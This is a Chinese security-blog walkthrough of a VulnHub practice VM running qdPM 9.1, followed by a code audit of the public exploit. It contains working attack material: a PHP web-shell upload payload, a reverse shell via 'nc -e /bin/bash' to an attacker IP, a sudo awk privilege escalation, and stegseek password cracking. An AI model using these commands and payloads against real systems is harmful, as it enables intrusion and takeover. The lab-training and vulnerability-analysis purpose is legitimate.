freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

大余每日一攻防DRIPPING BLUES-1(十二)
大余 2023-12-12 16:41:26 160031

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

公司IP太多了,用别的工具扫描:railgun
1702370266_65781bda9cf6320a9fd8b.png!small?1702370267600
发现ip地址:192.168.3.78,需要工具github搜下就能找到。

二、Web信息收集

1702370271_65781bdf9906761f25c3f.png!small?1702370272174
qdPM | Login登陆口。

1702370279_65781be72edb7d6876731.png!small?1702370279848

qdPM 9.1未授权漏洞!!

三、未授权读取数据库

查找https://www.exploit-db.com/搜索下qdpm9.1是否存在可利用的exp,发现存在未授权访问漏洞,可以直接读取/core/config/databases.yml文件,尝试读取下文件信息,获取到数据库账户名和密码:
1702370285_65781bed89104bcc3046a.png!small?1702370286164
提示未开启数据库服务!!

四、stegseek获取图片隐藏信息

目录枚举发现:
1702370290_65781bf2a2d4d51d17fa8.png!small?1702370291306

http://192.168.3.78/secret/

发现在/secret目录下存在一张图片:
1702370295_65781bf7cf2a5e58477ad.png!small?1702370296898

steghide info doubletrouble.jpg

1702370301_65781bfd64fc8532a50de.png!small?1702370302274
发现是存在隐藏信息的,但是缺少密码无法获取出来!

1702370306_65781c0283923aef1a6de.png!small?1702370307396
stegseek提取:

stegseek --crack doubletrouble.jpg /root/Desktop/rockyou.txt dayu.txt

1702370312_65781c0815854f774223b.png!small?1702370313699
秒提取!!获得信息。

五、qdpm后门漏洞

获得系统登陆的账号和密码:

otisrush@localhost.com
otis666

1702370317_65781c0d1c1aa7e7b86fc.png!small?1702370318006

后使用qdpm9.1的后门漏洞:
1702370322_65781c125f6172b96a854.png!small?1702370323254
还是挺多可以利用的:用最新的
1702370327_65781c175bca54376f146.png!small?1702370329064

python 50944.py -url http://192.168.3.78/ -u otisrush@localhost.com -p otis666

1702370332_65781c1c1ed284828d889.png!small?1702370333010
上传了一个后门程序到网站,可以用来操作远程命令执行。现在还需要反弹Shell:
1702370336_65781c2082ce466ceefc9.png!small?1702370337216

http://192.168.3.78/uploads/users/325292-backdoor.php?cmd=nc -e /bin/bash 192.168.3.10 5566

python -c 'import pty; pty.spawn("/bin/bash")'

1702370341_65781c25a1b84dd90a678.png!small?1702370342482
成功拿到反弹shell!

六、提权

1702370347_65781c2bf122142246f97.png!small?1702370348756
git提示:

sudo awk 'BEGIN {system("/bin/sh")}'

1702370355_65781c3389050342acf59.png!small?1702370356519
这里意思是不存在最终答案,还有一个项目环境!!

nc 192.168.3.10 8888 < doubletrouble.ova
nc -lvvp 8888 > doubletrouble.ova

1702370361_65781c392eff2b3a92303.png!small?1702370361788
接下来大家去操作下,思路是sql注入拿到数据库,数据库拿到账号密码获取ssh登录,最后/usr/lib/eject/dmcrypt-get-device提权即可。

七、代码审计

exp分析:exp的main()函数,在登录后获取一系列参数后调用了req()函数,因此主要分析exp的代码中的req函数

def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    cprint(request_3, 'red')
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)

在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()函数:

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    cprint(request_1, 'green')
    return request_1

结合req()函数的请求可以发现,request_1请求的users[photo_preview]参数为.htaccess,request_2请求的users[photo_preview]参数为../.htaccess

仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update页面,也就是用户信息更改页面。

这段代码的主要目的是利用qdPM项目中的一个路径遍历漏洞,具体来说,在上传用户头像的功能中存在的路径遍历漏洞。攻击者通过利用这个漏洞,上传包含恶意 PHP 代码的文件,实现远程代码执行!
1702370371_65781c43660c58f4d1c37.png!small?1702370371937

if($form['remove_photo']->getValue()==1 && strlen($form['photo_preview']->getValue())>0)
{
    unlink(sfConfig::get('sf_upload_dir') . '/users/' . $form['photo_preview']->getValue());
    $form->setFieldValue('photo','');
}

1702370376_65781c4877322a99d2ac5.png!small?1702370377499
在这个代码段中241行处,如果$form['remove_photo']->getValue()返回1且$form['photo_preview']->getValue()不为空,就会执行unlink()函数删除用户头像文件。这是一个潜在的风险,因为用户可能在提交表单时篡改这些值,导致删除任意文件。

而进行到这一步的条件是remove_photo的值为1,并且photo_preview值的长度要大于0,从上面的分析可以看出,multifrm()函数已经默认每个请求的remove_photo值为1,那么在request_1和request_2中,这两个条件都满足。也就是说,在request_1中,users目录下的.htaccess文件会被删除。在request_2中,利用..绕过,删除了根目录下.htaccess文件。
1702370381_65781c4dc43d53b70c38b.png!small?1702370382331
在 core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3的users_photo参数的内容会经过这个逻辑。
1702370388_65781c540599af9222f01.png!small?1702370389142
可操作写入php文件的点就是在224行和225行的位置。
move_uploaded_file()函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users目录中。因此,exp中的backdoor.php可以上传到users目录中,而backdoor.php的名称可以通过再次请求index.php/myAccount,名称会在photo_preview参数中显示,或者直接访问uploads/users,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!

扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!

1701847681_657022811043209291287.png!small?1701847682244

欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701847704_65702298ccb7a072cd4c7.png!small?1701847708052

# 漏洞 # 黑客 # 网络安全 # web安全 # CTF
本文为 大余 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
大余每日攻防
大余 LV.5
没有网络安全就没有国家安全,VXID:dayuST
  • 91 文章数
  • 1076 关注者
大余每日一攻防EvilBox
2023-12-27
大余每日一攻防SNAKEOIL(十七)
2023-12-26
大余每日一攻防DEATHNOTE-1(十六)
2023-12-25
文章目录